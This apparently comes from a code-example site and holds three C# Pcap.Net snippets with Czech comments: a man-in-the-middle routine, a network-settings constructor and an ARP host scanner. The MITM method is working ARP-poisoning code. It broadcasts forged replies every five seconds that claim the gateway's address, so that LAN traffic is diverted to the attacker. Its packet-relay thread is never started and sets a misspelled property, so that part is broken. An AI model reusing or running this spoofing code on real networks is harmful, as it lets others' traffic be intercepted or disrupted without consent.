Пример #1
0
        // útok man in the middle (TODO nějak zařídit routování packetů co přijdou)
        public void MITM()
        {
            // pokus o todo
            new Thread(new ThreadStart
                       (
                           delegate()
            {
                using (PacketCommunicator pc = Device.Open(65536, PacketDeviceOpenAttributes.Promiscuous, 1000))
                {
                    var result = pc.ReceivePacket(out Packet p);
                    if (result == PacketCommunicatorReceiveResult.Ok)
                    {
                        if (UIntToIp(p.Ethernet.IpV4.Destination.ToValue()).ToString() == DefaultGw.ToString() || InNetwork(UIntToIp(p.Ethernet.IpV4.Destination.ToValue())))
                        {
#if DEBUG
                            Console.WriteLine("foreign packet");
#endif
                            p.Ethernet.GetType().GetProperty("Destionation").SetValue(p.Ethernet, new MacAddress(Devices.First(x => x.IpAddr.ToString() == DefaultGw.ToString()).HardwareAddrString));
                        }
                    }
                }
            }
                       ));
            using (PacketCommunicator pc = Device.Open(65536, PacketDeviceOpenAttributes.Promiscuous, 1000))
            {
                while (true)
                {
                    Packet p = PacketBuilder.Build
                               (
                        DateTime.Now,
                        new EthernetLayer
                    {
                        EtherType   = EthernetType.None,
                        Destination = new MacAddress("ff:ff:ff:ff:ff:ff"),
                        Source      = new MacAddress(PhysicalAddrString)
                    },
                        new ArpLayer
                    {
                        Operation             = ArpOperation.Reply,
                        ProtocolType          = EthernetType.IpV4,
                        SenderHardwareAddress = Array.AsReadOnly(PhysicalAddr.GetAddressBytes()),
                        SenderProtocolAddress = Array.AsReadOnly(DefaultGw.GetAddressBytes()),
                        TargetHardwareAddress = Array.AsReadOnly(new byte[] { 255, 255, 255, 255, 255, 255 }),
                        TargetProtocolAddress = Array.AsReadOnly(BroadCast.GetAddressBytes())
                    }
                               );
                    pc.SendPacket(p);
                    Thread.Sleep(5000);
                }
            }
        }
Пример #2
0
        public Network()
        {
            var tmp = NetworkInterface.GetAllNetworkInterfaces().FirstOrDefault(x => x.OperationalStatus == OperationalStatus.Up).GetIPProperties();

            PhysicalAddr       = NetworkInterface.GetAllNetworkInterfaces().FirstOrDefault(x => x.OperationalStatus == OperationalStatus.Up).GetPhysicalAddress();
            PhysicalAddrString = Split(PhysicalAddr.ToString());
            DefaultGw          = tmp.GatewayAddresses[0].Address;
            Address            = tmp.UnicastAddresses[1].Address;
            NetMask            = tmp.UnicastAddresses[1].IPv4Mask;
            BroadCast          = GetBroadCast();
            NetworkAddr        = GetNetwork();
            DNS              = tmp.DnsAddresses.ToArray();
            Device           = LivePacketDevice.AllLocalMachine.FirstOrDefault(x => x.Addresses[1].Address.ToString().Contains(Address.ToString()));
            NewDeviceHandle += delegate() { Console.WriteLine("new device"); };
        }
Пример #3
0
        // proscanování sítě pomocí arp
        public Device[] Scan(IPAddress start, IPAddress end, int tries)
        {
            List <Device> devices = new List <Device>();
            bool          tmp     = true;

            // zaznamenávání příchozích packetů
            new Thread(new ThreadStart(delegate()
            {
                using (PacketCommunicator pc = Device.Open(65536, PacketDeviceOpenAttributes.Promiscuous, 1000))
                {
                    while (tmp)
                    {
                        var result = pc.ReceivePacket(out Packet p);
                        if (result == PacketCommunicatorReceiveResult.Ok)
                        {
                            if (p.Ethernet.EtherType == EthernetType.Arp && p.Ethernet.Arp.Operation == ArpOperation.Reply)
                            {
                                var temp = new Device(p.Ethernet.Arp.SenderProtocolAddress.ToArray(), p.Ethernet.Arp.SenderHardwareAddress.ToArray(), null);
                                //Console.WriteLine(temp.ToString());
                                if (!devices.Any(x => x.Compare(temp)))
                                {
                                    devices.Add(temp);
                                }
                            }
                        }
                    }
                }
            })).Start();
            // vysílání arp packetů
            using (PacketCommunicator pc = Device.Open(65536, PacketDeviceOpenAttributes.Promiscuous, 1000))
            {
                for (int i = 0; i < tries; i++)
                {
                    foreach (var addr in PosibleAddresses(start, end))
                    {
                        Packet p = PacketBuilder.Build
                                   (
                            DateTime.Now,
                            new EthernetLayer
                        {
                            EtherType   = EthernetType.None,
                            Destination = new MacAddress("ff:ff:ff:ff:ff:ff"),
                            Source      = new MacAddress(PhysicalAddrString)
                        },
                            new ArpLayer
                        {
                            Operation             = ArpOperation.Request,
                            ProtocolType          = EthernetType.IpV4,
                            SenderHardwareAddress = Array.AsReadOnly(PhysicalAddr.GetAddressBytes()),
                            SenderProtocolAddress = Array.AsReadOnly(Address.GetAddressBytes()),
                            TargetHardwareAddress = Array.AsReadOnly(new byte[] { 255, 255, 255, 255, 255, 255 }),
                            TargetProtocolAddress = Array.AsReadOnly(addr.GetAddressBytes())
                        }
                                   );
                        pc.SendPacket(p);
#if DEBUG
                        Console.WriteLine(addr.ToString());
#endif
                    }
                }
                tmp = false;
            }
            return(devices.ToArray());
        }